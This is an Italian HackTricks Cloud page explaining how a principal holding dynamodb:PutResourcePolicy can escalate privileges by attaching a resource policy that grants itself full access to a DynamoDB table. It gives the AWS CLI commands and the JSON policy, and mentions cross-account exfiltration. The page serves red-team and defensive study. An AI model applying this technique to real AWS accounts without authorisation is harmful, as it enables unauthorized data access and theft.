AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
dynamodb
Per ulteriori informazioni su dynamodb, controlla:
dynamodb:PutResourcePolicy
, e opzionalmente dynamodb:GetResourcePolicy
Dal marzo 2024, AWS offre politiche basate sulle risorse per DynamoDB (AWS News).
Quindi, se hai il dynamodb:PutResourcePolicy
per una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principale accesso completo alla tabella.
Concedere il dynamodb:PutResourcePolicy
a un principale casuale spesso avviene per caso, se gli amministratori pensano che concedere dynamodb:Put*
consentirebbe solo al principale di inserire elementi nel database - o se hanno concesso quel set di permessi prima di marzo 2024...
Idealmente, hai anche dynamodb:GetResourcePolicy
, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Se non riesci a recuperare la policy attuale, usa semplicemente questa che concede accesso completo sulla tabella al tuo principale:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Se hai bisogno di personalizzarlo, ecco un elenco di tutte le possibili azioni DynamoDB: AWS Documentation. Ecco un elenco di tutte le azioni che possono essere consentite tramite una policy basata su risorse E quali di queste possono essere utilizzate cross-account (pensa all'exfiltrazione dei dati!): AWS Documentation
Ora, con il documento della policy policy.json
pronto, inserisci la policy delle risorse:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Ora dovresti avere i permessi di cui avevi bisogno.
Post Exploitation
Per quanto ne so, non c'è altro modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi dynamodb
di AWS. Puoi leggere informazioni sensibili dalle tabelle (che potrebbero contenere credenziali AWS) e scrivere informazioni nelle tabelle (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella pagina di Post Exploitation di DynamoDB:
AWS - DynamoDB Post Exploitation
TODO: Leggere dati abusando dei data Streams
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.